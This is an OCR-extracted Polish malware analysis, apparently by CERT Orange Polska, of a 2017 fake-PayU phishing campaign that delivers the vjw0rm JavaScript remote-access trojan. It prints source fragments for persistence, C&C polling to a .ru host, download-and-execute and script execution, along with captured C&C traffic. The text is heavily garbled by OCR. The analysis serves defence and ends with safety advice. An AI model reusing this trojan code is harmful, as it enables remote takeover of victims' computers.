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W pierwszej potowie marca w polskim internecie miata miejsce kampania ztosliwego
oprogramowania podszywajaca sie pod PayU. Na adresy e-mail potencjalnych ofiar docieraty
sfatszowane wiadomosci sugerujgce, iz ich nadawcy jest PayU, zawierajgce zatgcznik o nazwie
»Potwierdzenie Platnosci — C B9BC XX835695707XX_PDF.js”

Witaj,

zarejestrowali$my zlecenie ptatnosci dla CINEMA CITY POLAND - CC SPOLKA Z
OGRANICZONA ODPOWIEDZIALNOSCIA SPOLKA JAWNA
(https://www.cinema-city.pl).

as? WO mencie sprawdzic status transak

Szczegotly operacii
Numer fransakcji: C BO9BC XX835695707XX (PL)
Kwota: 102,00 PLN

Dodatkowe opfaty obcigzajace klienta: 0,00 PLN
Data transakcji: 2017-03-09 21:12:30

N
)
)
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Jesli przyjrzymy sie doktadnie zapisanemu zatgcznikowi, wida¢, ze mimo ,,pdf” w nazwie mamy
do czynienia z plikiem Java Script.

ook
-

uvl 1§ C:\Users\lwo Graj\Downloads| ~ |44 || Preszukaj: Pobrane 2l

Organizuj v Umieéé whibliotece v Udostepnij v Nowy folder =~ 0 @
M Nazwa i Date modyfikegii  Typ Rozmiar

%] Ostatnie migjsca Potwierdzenie Platnosci - C BOBC XXB35695707)0_PDF 2017-03-131501  Plik skryptu w jezyku JScnptI 5KB
@ Pobrane

B Pulpit

7 Biblioteki
|5 Dokumenty
&) Muzyka
[E] Obrazy
E Wideo

Zawarto$¢ pliku na poczatku wygladata nastepujaco:

try |
var 5 = String.fromCharCode (47, 47, 32

Po zdekodowaniu i zamianie znakdéw z CharCode na ASCII obraz staje sie bardziej przejrzysty:

// Polace, raczy ?askawy czytelnik wybaczy? mniejszym uchybieniom w 2adnym punkcie nieoddala? 3i? z tych dar?w Bo?ych. Wi?c z?o0 b?dzie chcia? szafowa?. On tak jest;
rum zamiast ie on. 3i? on Epikurejskiemu przeciwleg?y. Zeno m?wi?, ?e jest przeciwne prawid?om rozumu. Albo? scbie pomy?le? mo?na. Co? czy chcemy nawr?ci?, w same]
rzeczy szcz?liwo?ci godnemi by? przyczytane. W przyczytaniu wypadk?w uwa?ajmy jake Istno?? wzelkich Istno?ciow pokazuje, kt?r? nieinaczej jak tylko b2d? pojedy?cze
oznaczenia owych fundamentalnych poj?ci?w. Tu bowiem poi?cie o Dobru. Dobro mia?by w samej tylko prostej zap?aty Czyny za? ju? tak wielka godno?? kt?ra przez si?, i
zostanie zawsze wewn?trzn? odmian? w.

var j =
var g =
var y =

var 3h = Cr(0):
var f3 = Cr(l);
var apl
var Ch =

var VN = ec” + "_" 4+ ObB(£):
var fu = W5 .ScriptFullName;
var wn = WScript.ScriptName:

var U;

Po uruchomieniu pliku uzytkownik instalowat na swoim komputerze ztosliwe oprogramowanie
o nazwie ,vjwOrm”, umozliwiajgce przejecie petnej kontroli nad komputerem ofiary. Ponizej
zostata przeprowadzona szczegétowa analiza statyczna oraz dynamiczna ztosliwego
oprogramowania.

Po uruchomieniu wirus dodawat do rejestru systemowego klucz, dzieki ktéremu uruchamiat sie
przy kazdym starcie systemu.

Mazwa Typ Dane
128 Domyélng) REG 57 [wartosé nie uctalona)
ab|7RSIWAKAER REG_SZ "ChUsers\lwo Graj\AppData\Roaming\Microsoft\Windows\Start Menu\Programs'\Startup'\Potwierdzenie Platnosci - C BSBC XX835695707:X_PDF.js" |
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Znajdujgca sie w kodzie wirusa funkcja Ns() odpowiada za dodawanie klucza do rejestru.

function Ns() {

try {
sh.RegWrite(g[0] + g[3] + "7RS3
} catch(err) {

N f e T\ GIST) 5

Plik wirusa umieszczany byt w lokalizacji

C:\Uzytkownicy\Nazwa Uzytkownika\AppData\Roaming\Microsoft\Windows ->
\Start Menu\Programs\Startup\

i uruchamiany przy kazdym starcie systemu.

@uv| I C:\Users\Iwo Graj\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup| I - | s | Prze

Organizuj * @ Otwérz ~ Udostepnij « Drukeuj MNowy folder

7

¢ Ulubione Nazwa Data modyfikacji Typ Rozmiar

] Ostatnie migjsca @ Potwierdzenie Platnosci - C BIBC XX835635707XX_PDF 2017-03-1315:01 Plik skryptu w jezy... 5 KB I
& Pobrane

Bl Pulpit

Ponizej przedstawiona jest komunikacja zainfekowanego komputera z serwerem Command&
Control, zarzadzajgcym zainfekowanymi komputerami, umieszczonym w domenie: aktualizajce
.ns22.ru...

POST /Ure HTTP/1.1

Accept: =/x

Accept-Language: pl-PL

Pser-Agent: 18marzec A4CFA107BA\CERT-ORANGEAIwo Graj\Hicrosoft Windows 7 Enterprise \undefined\\YES\FALSE\
Accept-Encoding: gzip, deflate

Host: aktualizacie.ns22.ru:z4785 |

Content-Length: @

Connection: Keep-Alive

Cache-Control: no-cache

POST /Ure HTTP/1.1

Accept: =/%

Accept-Language: pl-PL

User-Agent: 18marzec_4CFA107B\CERT-ORANGENIwo Graj\Microsoft Windows 7 Enterprise Zundefined\\YES\FALSE\
Accept-Encoding: gzip, deflate

Host: aktualizacje.ns22_ ru:4785

Content-Length: @

Connection: Keep-Alive

Cache-Control: no-cache

POST /Ure HTTP/1.1

Accept: =/=

Accept-Language: pl-PL

User-Agent: 18marzec_A4CFA107BA\CERT-ORAMGENIwo Graj\Microsoft Windows 7 Enterprise Zundefined\\YES\FALSEY
Accept-Encoding: gzip, deflate

Host: aktualizacje.ns22.ru:4785%
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...a takze fragment kodu Zrdédtowego wirusa, odpowiedzialny za state odpytywanie C&C o
polecenia przy wykorzystaniu metody HTTP POST.

functioen Pt(C,B) {
var X = Cr(3);

X.open('FOST', 'http://aktualizacje.ns22.ru:4785/"' + C, false);
X.5etRequestHeader ("User-Rgent:" ,nf ()} ;
¥.send (L) ;

return X.responsetext;
}

Dynamiczng analize zagrozenia przeprowadzono na instancjach wirtualnych w srodowisku
laboratoryjnym, gdzie réwniez uruchomiono fatszywe C&C zgodne z zapisanym w kodzie wirusa.

Ponizszy zrzut ekranu przedstawia C&C nastuchujgce na porcie ,4785” i podtgczony do niego
zainfekowany komputer. Cyberprzestepca byt informowany o adresie IP ofiary, nazwie
komputera, uzytkowniku, systemie operacyjnym, informacji o zainstalowanym antywirusie oraz
obecnosci komponentu systemowego .NET

B \j0rm 0.1 | Online [ 1] Port [ 4785 ] SEL[0 ] SPR[ %0,0 ] = =

[AV] [Col |LNET]|[VR]|
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Malware pozwalat botmasterowi na uzyskanie petnej kontroli nad zainfekowanym
komputerem. Umozliwiat m.in.. dzieki funkcji ,,Run File”, przesytanie i uruchamianie dowolnego
pliku lub polecenia na urzgdzeniu ofiary z réznych lokalizacji, np.:

- [From Disk] — przestanie i uruchomienie pliku z dysku botmastera,
- [From Link] - pobranie i uruchomienie pliku z dowolnej strony www lub serwera,
- [Script] — wykonanie dowolnego skryptu na komputerze ofiary

B i0rm 0.1 | Online [ 1] Port [4785 ] SEL [0 JSPR[ %0,0 ] = [
[AV] [coj |[.NEr]| [VR] |

- [ From Disk ]
- [ Frem Link ]
- [ Seript ]

- [ About ]

Atakujacy mogt przestac i uruchomic na zainfekowanym komputerze dowolny plik. W naszym
przypadku byt to dokument tekstowy, ponizej przedstawiono ruch sieciowy: odpowiedZ z
zainfekowanego komputera wraz z informacja o wykonaniu rozkazu wydanego przez C&C oraz
pobrania z niego pliku:

HTTP/1.1 200 OK

Transfer-Encoding: chunked

Server: Hicrosoft-HTTPAPI/2.0
Date: Tue, 14 HMar 2817 15:47:28 GHT

57
RF|V|Test przes..ania pliku z C&C do zainfekowanego komputera wirusem.|U|11ROYUBDAM.txt
a

Przestany plik zostat umieszczony pod nazwg 11ROYU8OAM.txt w folderze tymczasowym
»temp” na maszynie docelowej:

[o

@'\/ﬂ‘ C\Users\lwo Graj\AppData\Local\Temp I [ 43 || Preeszukas: Temp

=R 5
yel
(2]

Organizuj v Umieéé wbibliotece v Udostepnij v Nowy folder =+ A @

¢ Ulubione [CarE Datamodyfikacii  Typ R

] Ostatnie migjsca Low Folder plike
Folder pliké

Plik wsdowy Win... 1 KB
Dokument teksto 1k8 |
Plik wsadowy Win.. 1KB
Dokument teksto 0KB

it Pobrane WPDNSE
B Pulpit o5 OERETFACTG
|| 11ROYUBOAM
4 Biblioteki 2] 15A30HMSPU
=| Dokumenty __ 2BLUNDOTOA
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a nastepnie uruchomiony wyswietlajgc zawartos¢ przestanego pliku wraz z informacjg na
zainfekowanym komputerze:

11ROYUSOAM — Notatnik = || =] ER
Plik Edycja Fermat Widok Pomoc
Test przestania pliku z C& do zainfekowanego komputera wirusem.

W ten sposob cyberprzestepca byt w stanie uruchomi¢ kazdy plik wykonywalny, np. z kolejnym
ztosliwym oprogramowaniem. Oto odpowiedni fragment kodu Zrédtowego wirusa:

if (P[U] === "RE") {
var s2 = Ex("temp") + "\\" + P[Z];
var fi = fs.CreateTextFile(s2, true) ;

fi.Write(P[1]):;
fi.Close() ;
sh.run(s?2) ;

}

Funkcja [From link] pozwalata botmasterowi zdefiniowa¢ w Command&Control adres serwera
z ktdrego plik (np. wirus) miat by¢ pobrany. Na potrzeby analizy pobrano i uruchomiono aplikacje
»putty.exe” (https://theearth.li/~sqtatham/putty/latest/w32/putty.exe),

Bl i Orm 0.1 | Online [1]Port [ 4785 ] SEL[1]SPR[ %0,0 ] o || = ][
[ID] | [IP] | [PC] |[User] | [05] | [AV] | [CO] |[.NEI']|[VR]|[USB?]

10marzec... 127.0.0.1 CERT-OR... Iwo Graj Microsoft Win... undefined LocalHost YES o4 FALSE

. [ Download & Run ]

earth li/~sgtatham/putty1a
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ktora nastepnie zostata umieszczona w lokalizacji tymczasowej systemu uzytkownika w folderze
»Temp” o zmienionej nazwie pliku ,,n75nw9c.exe” i uruchomiona:

@uvl » Komputer b Dysk lokalny » Uzytkownicy » Iwo Graj » AppData » Local b Temp b | ~ [ 43 || Preeszukaj: Temp o]
Organizuj [B) otwérz Udostepnij Mowy folder ~ H @
r Ulubione Nazwa ’ Data modyfikacji Typ Rozmiar s
=, Ostatnie miejsca | Low 20 Folder plikéw
i Pobrane WPDNSE 201 Folder plikéw
B Pulpit Blun 201 Plik skryptu w jezy... 14 KB
aaza 201 Plik skryptu w jezy... 14 KB
- Biblioteki EXSAPIebugl ogFile 201 Dokument teketoy il
< Dokumenty EB n75nuac 15:20 Aplikacja 697 KB
o) Muzyka - T eESITImp povE 50 T TTT T0Z FE -
f n75nwdc Data modyfikecji: 2017-03-13 15:20 Data utworzenia: 2017-03-13 15:20
Aplikacja Rozmiar: 696 KB

Ponizsza komunikacja pomiedzy komputerem i C&C przedstawia wystanie wykonania zgdania
do C&C:

HTTP/1.1 288 0K

Transfer-Encoding: chunked

Server: Hicrosoft-HTTPAPI/2.08
Date: Hon, 13 Har 2817 14:28:24 GHT

1b4
Ex|V|try {
var s1 new ActiveXObject{"Wscript.shell™);

var s3 new ActiveX0bject{"Hicrosoft.XHLHTTP"};
var sy new ActiveX0bject{"Adodb.Stream");
Eﬁlﬂpen("GET", “https://the.earth.li/~sqtatham/putty/latest/w32/putty.exe”|, false);
=3.5end{null};

sh_type = 1;

sh.open();

s write{s3.responseBody);

sh_savetofile(s2);

=1.Run{s2});

¥ catch({err) {

Er 52 = s1.expandenvironmentstrings("%temp%™) + "\\" + "n?5nw9c.exe";|

¥

Trzecig ostatnig funkcjg analizowanego ztosliwego oprogramowania byfa funkcja [ Script ]
umozliwiajgca uruchomienie na komputerze ofiary dowolnego skryptu z dowolnym
rozszerzeniem,,.js” , ,.vbs” , ,.bat”, ,html”, ,.hta”, ,.txt”

. vjwOrm w01 | Online [1] Port [4785 ] SEL[1]SPR[ 20,0 ] o || B R

[D] | [P] | [PC] | [User] | [0S] | [AV] | [col |LNET]‘[VR]|

10marzec_4CFA107B 127.0.0.1 CERT-ORANGE hwo Graj Microsoft Windows 7 Enterprise undefined LocalHost YES 0.1 FAL

. Script

[ Execute 1
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W ponizszym przyktadzie wykorzystane zostaty dwa polecenia powtoki systemu Windows
»whoami” (informacja o zalogowanym uzytkowniku) oraz wywotanie oprogramowania ,calc”
(kalkulator).

Bl v Orm 0.1 | Online [1]Port [ 7974 1 SEL[1]SPR[ %0,0 ] o |[@ ] =
[n] | [1P] | [PC] ‘[User] ‘ [O5] | [AV] | [CO] ‘[.NEF]‘[\I'R]‘[USB?]

viwlrm_4... 127.0.0.1 CERT-OR... Iwo Graj Microsoft Win... wundefined LocalHost YES 0.1 FALSE
Bl script ==
whoami

l

L Beel =

Oto jak wygladata odpowiedz wykonania rozkazu od bota o rozkazy do C&C botmastera

HTTP/1.1 288 0K

Transfer-Encoding: chunked

Server: Hicrosoft-HTTPAPL/2.0

Date: Tue, 14 Har 2017 15:54:59 GHT

21

Sc|U|whoami
calc|VU]|15A80HMSPU . .bat
a

Nastepnie na komputerze uzytkownika tworzony byt plik o nazwie ,,15A80HMSPU.bat” w
lokalizacji folderu tymczasowego ,temp” z zawartoscig wydanych polecen C&C do wykonania
,whoami” oraz ,calc”

===
@_\ )i » Komputer » Dysklokalny (C) » Uzytkownicy » IwoGraj b AppData » Local » Temp » | « [43 | [ Praeszukaj: Temp )
Organizsj v [ Otwére  Udostepnij = Drukuj  Mowy folder =- 0 @
o Nazwa Datamodyfikagii  Typ Rezmiar
Ostatnie migjsca Low Falder plike
& Pobrane WPDNSE Falder plike
B Pulpit ] OERBTFAOTG Pl wsadowy Win 1K8
11ROYUSOAM Dokumnent teksto 1KE
J Biblioteki | [El15a80HMSPU Plik wsadowy Win... ke |
9 Dokumenty TKB
15A80HMSPU — Notatnik
@' Muzyka 14 KB
Plic Edycja Format Widok Pomoc
k=] Obrazy = 14 KB
fwhoami_calc |
B wideo 14 KB
y Win... 1K8
¥ Grupa domowa 2KB
sadowy Win 1K8
1% Komputer  wsadowy Win... 1k8
fcument tekstowy ) ke
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Poprawne dziatanie tej funkcji umozliwito wykonanie powyzszych polecen ,,whoami” oraz
»calc” na komputerze uzytkownika.

BN C\Windows\System32\cmd.exe | Kalkulator E\ = @

C:~Users™Iuwo GrajsDesktop>whoami Widek Edycja Pomoc
cert—orangesiwo graj

m| »

C:~Users™Iwo GrajwDesktop>calc 9

MC MR M35 M+ h-

— CE C

Fragment kodu, ktéry umozliwiat wykonanie powyzszego dziatania:

if (P[0] === "Sc") {

var s2 = Ex("temp") + "\\" + P[“];
var fi = fs.CreateTextFile(s2,true) ;
fi.Write(P[1]);

fi.Close() ;

sh.run(s2) ;

}

Drugg z grup funkcjonalnosci analizowanego ztosliwego oprogramowania byta grupa [WORM]
odpowiedzialna za funkcjonowanie wirusa w systemie, posiadajgca nastepujgce opcje:

- [ Rename ] — funkcja odpowiedzialna za zmiane nazwy zainfekowanego komputera,

- [Update] — funkcja umozliwiajgca wgranie kolejnej innej wersji wirusa z wprowadzonymi w
kod zmianami w jego funkcjonowaniu lub infekcje systemu,

- [Close] — funkcja odpowiedzialna za zamkniecie potgczenia z zainfekowanym komputerem
oraz wytaczenie ztosliwego oprogramowania na komputerze uzytkownika do ponownego
uruchomienia jego systemu operacyjnego,

- [Uninstall] — funkcja umozliwiajgca odinstalowanie ztosliwego oprogramowania na
komputerze uzytkownika
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Ponizszy zrzut przedstawia panel administracyjny C&C cyberprzestepcy i opcje wyboru funkcji:

Bl j»0rm 0.1 | Online [1] Port [4785 JSEL[1]SPR[ 3:0,0] = -2 [
[USB?]

- [ Run File ]

_ - [ Rename]
- [ Builder ] - [ Update ]
- [ About | - [ Close ]

- [ Uninstall ]

Dla przedstawienia funkcji [Rename] wystano z C&C do zainfekowanego komputera zgdanie o
zmiane nazwy ze zdefiniowanej wczesniej w kodzie wirusa nazwy ,10marzec” (informacja dla
botmastera o infekcji na bazie kampanii z 10 marca) na nazwe ustalong przez eksperta.

Bl i 0rm 0.1 | Online [ 1] Port [ 7974 1 SEL[1 ] SPR[ %0,0 ] ==l
[ID] [we] | [PC] | [User] | [O5] ‘ [AV] ‘ [CO] ‘LNET]‘[VR

10marzec_4CFA107B 127.0.0.1 CERT-OR.. Iwo Graj Microsoft Win... wundefined LocalHost YES 0.1

Rename

New Mame |T|

m

miana_nazwy_lwo_Graj

Bot wykonat polecenie, informujgc o nim swoje C&C:

HTTP/1.1 288 OK

Transfer-Encoding: chunked

Server: HWicrosoft-HTTPAPI/Z2.0

Date: Tue, 14 Har 2017 16:80:15 GHMT

1a

Rn|U|zmiana_nazwy Iwo_Graj
{]
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Po chwili w C&C zmienit sie przedrostek nazwy zainfekowanego komputera...

B viv0rm w01 | Online [1 ] Port [ 7974 ] SEL[ 0] SPR [ %0,0 ] =N =R =<"

(D] | [P] | [PC] | [ User] | [05] | [AV] | [col |[.NI:_|']|[VR']|[USE:'?]

zmiana_nazwy_lwo_Graj 4CFA107B  127.0.0.1 CERT-OR... Iwo Graj Microsoft Win... undefined LocalHost YES 0.1 FALSE

...oraz nazwa ,User-Agent” bota w zgdaniu HTTP do C&C, z:

User-Agent: 10marzec 4CFA107B\CERT-ORANGE\Iwo Graj\Microsoft Windows 7 Enterprise \
undefined\\YES\FALSE\

POST fUre HTTP/1.1
Accept: =/x

fAccept-l anquage: pl-PL
|U5er—nqent: 1@marzec 4CFA107B\CERT-ORANGE\Iwn Graj\Hicrosoft Windows 7 Enterprise ‘Zundefined\\YES\FALSE\ |

na

User-Agent: zmiana nazwy Iwo Graj 4CFA107B\CERT-ORANGE\Iwo Graj\Microsoft Windows
7 Enterprise \ undefined\\YES\FALSE\

POST fUre HTTP/1.1

Accept: =/=
Accept-Language: pl
|gser—ngent: Zmiana nazwi Iwo Erai EEEEjEZESEEE!:EEEEEESIwo Era]}MlcrosoFt Uindows 7 Enterprise ;unﬂeflnGESSEESSEEESEﬂ

Ponizej fragment kodu odpowiedzialny za funkcje [Rename]

if (P[0] === "Rn") {

var ri = fs.0OpenTextFile (fu,’);

var fr = ri.Readrll{);

ri.Close{);

VN = VN.split(" ");

fr = fr.replace(VN[O],P[11);

var wi = fs5.0penTextFile(fu,”,falze) ;
wi.Write (fr) ;

wi.Close();

sh.run{"wscript.exe B A" 4+ fu 4+ "W"TY
WSscript.guit(l);
}

Funkcja [Update] umozliwiata przestanie na komputer uzytkownika kolejnej wersji wirusa z
wprowadzonymi w kod zmianami jego funkcjonowania lub infekcji systemu.

Ponizszy zrzut ekranu przedstawia moment przestania do C&C informacji o pobraniu pliku
przez zainfekowany komputer i jego uruchomieniu

HTTP/1.1 200 OK

Transfer-Encoding: chunked

Server: Microsoft-HTTPAPI/2.8
Date: Tue, 14 Har 2817 16:89:23 GMT

468
Up|U|/f Polsce, raczy ?askawy czytelnik wybaczy? mniejszym uchybieniom w ?adnym punkcie nieoddala? si? z tych dar?w Bo?ych. Wi?c z?o b?dzie chcia? szafowa?. On tak jest; rum z.

var j = ["WScript.Shell","Scripting.FileSystemObject”,”Shell.Application™, Hicrosoft.XHLHTTP"];

var g = [“HKCU","HKLM","HKCU\\Sterowniki”,"\\Software\\Hicrosoft\\Windows\\CurrentVersiony\Run\\", "HKLHA\SOF TUAREN\Classes\\","REG_S2","\\deFaulticon\\"];
var y = ["winmgmts:","win32_logicaldisk","Win32_oOperatingSystem”,'A

468

ntiVirusProduct'];
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orange”

Catos¢ pliku ,nowej wersji” wirusa zostata poprawnie zapisana w katalogu tymczasowym
»temp” pod nazwg temp8RUBIODVE.js

(=@ ]=]
@uv\ »[Komputer » Dysklokalny (C) » Uzytkownicy v Iwo Graj » AppData ¥ Local * Temp v | [ #2 || Preeszukaj: Temp -
Organizuj @B Otwarz »  Udostepnij Drukuj  Nowy folder =~ 0 @
¢ Ulubione * Nawa Data modyfikacji  Typ Rozmiar -
X
i Ostatnie migjsca tructuredOuery 2007:02-1613:14 Dokument tekstou 1K]
4 Pobrane _|| [2]tempsrusnove 2017-03-1417:09 Pk skiyptu 5KB
I TR TRE
B Pulpit | tempBRUBIDDVE) — Notatnik o | P
ik wsadous 1KB
||| Piik_Edyca Format Widok Pomoc e wsadou !
4 Biblioteki /7 Polsce, raczy “askawy czytelnik wybaczy? mniejszym uchybienion] »| | e
%] Dokumenty | [ik skryptu wiezy... 14 KB
var j = ["wscript.shell”, "scripring. Filesystemobject”,”shell.appl|— | .
&) Muzyka var g = ["HKCU™, "HKLM","HKCU\\5terowniki™, "\\Software\\Microsaft ireshark capture... S KB L
& Obrazy var y = ["winmgmts:", "win32_logicaldisk”, "win32_operatingsystem”, ireshark capture.. 30 KB
B wideo ~ |fvar sh = cr(o); okument tekstowy 1KB )
v 1);
= temp8RUEBIOD! v
0| plkcskayptuwiq var_ch = T\ -
« [ 5

a nastepnie uruchomiona co przedstawia ponizszy fragment kodu wirusa:

if (P[0] === "Up"} {

var s2 = Ex AT+ PL2T
var ctf = fs.CreateTextFile(s2,txrue) ;
var qu = P[1];

gu = gu.replace("|U|", "IVI");
ctf.Write (gu) ;

ctf.Close () ;

sh.run("wscript.exe //B \"" + 52 4+ "\"", 8);
WScript.Quit(l);
}

Ostatnie funkcje bota to [Close] (zamyka potgczenie z zainfekowanym komputerem oraz
wyltgczenie malware) oraz [Uninstall], umozliwiajgca usuniecie ztosliwego oprogramowania ze
wszystkich lokalizacji na komputerze ofiary, wigcznie z usunieciem plikdw oraz wpiséw w
rejestrze systemowym. Przedstawia to ponizszy fragment ruchu sieciowego:

HTTP/1.1 268 DK

Transfer-Encoding: chunked

Server: Hicrosoft-HTTPAPI/2.0

Date: HMon, 13 Mar 2817 14:48:25 GHT

245

Un|V|var sh = new ActiveXDbject{"Wscript.shell™);

var fs = new ActiveXObject({"Scripting.FileSystemObject");
var 1sh = new ActiveXObject("Shell.Application™);

var fn = "%n";

var full=""%f";

var fd="%sfdr";

var nr = "%RgHe%";

try {
bh.RegDelete("HEHU\\SuFtware\\Micru5uFt\\Hinduws\\EurrentUerSiun\\Run\\" + Nrl);
¥ catch(err}) {}

try {
fs.DeleteFile{lsh.HameSpace(7).Self_Path + "\\" + fn,true);
T CAtCh{erFFy { ¥

try {
fs.DeleteFile(fd,true);
¥ catch{err) {}
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Funkcja [Uninstall] znajdowata sie réwniez w kodzie ztosliwego oprogramowania:

var wvdr = fu;

var regi = "Nothing!";

52 = s52.replace("%f",fu) .replace("%n" ,wn) .replace ("$sfdr" ,vdr) .replace ("%RgNex" ,regi) ;
eval (52) ;

Wscript.Quit(l);
}

CERT Orange Polska radzi:

Uzywanie i regularng aktualizacje oprogramowania antywirusowego, co z duzym
prawdopodobiennstwem pomoze unikngc¢ kolejnych infekcji ztosliwym oprogramowaniem i/lub
pomoze zminimalizowac skutki infekcji. Zalecamy rowniez stosowanie oprogramowania typu
firewall, ktérego zadaniem jest zablokowanie niechcianego ruchu sieciowego.

Warto podkresli¢ po raz kolejny, ze nigdy nie nalezy otwiera¢ zatgcznikdw z maili, co do
ktoérych pochodzenia nie mamy stuprocentowej pewnosci. Jesli nagle otrzymujesz informacje o
paczce, ktdrej nigdy nie zamawiates, wygranej w loterii, w ktdrej nie brates udziatu, fakturze od
operatora, z ktorego ustug nie korzystasz, rachunku za cos$ czego nie kupowates, itp. — nie ryzykuj,
usun maila, badZ — po zapisaniu na pulpicie — przyslij na adres: cert.opl@orange.com.

W przypadku opisywanej kampanii, klienci ustug Orange, nawet jesli uruchomili zatacznik, do
momentu opuszczenia sieci Orange Polska sg chronieni przed wyciekiem swoich danych za
pomocg CyberTarczy. Wcigz jednak dla usuniecia infekcji niezbedne jest zaktualizowanie
uruchomienie antywirusa, a w przypadku jego braku — stanowczo zalecamy instalacje i
przeskanowanie wszystkich komputerdw, ktére mogty zostaé zainfekowane.
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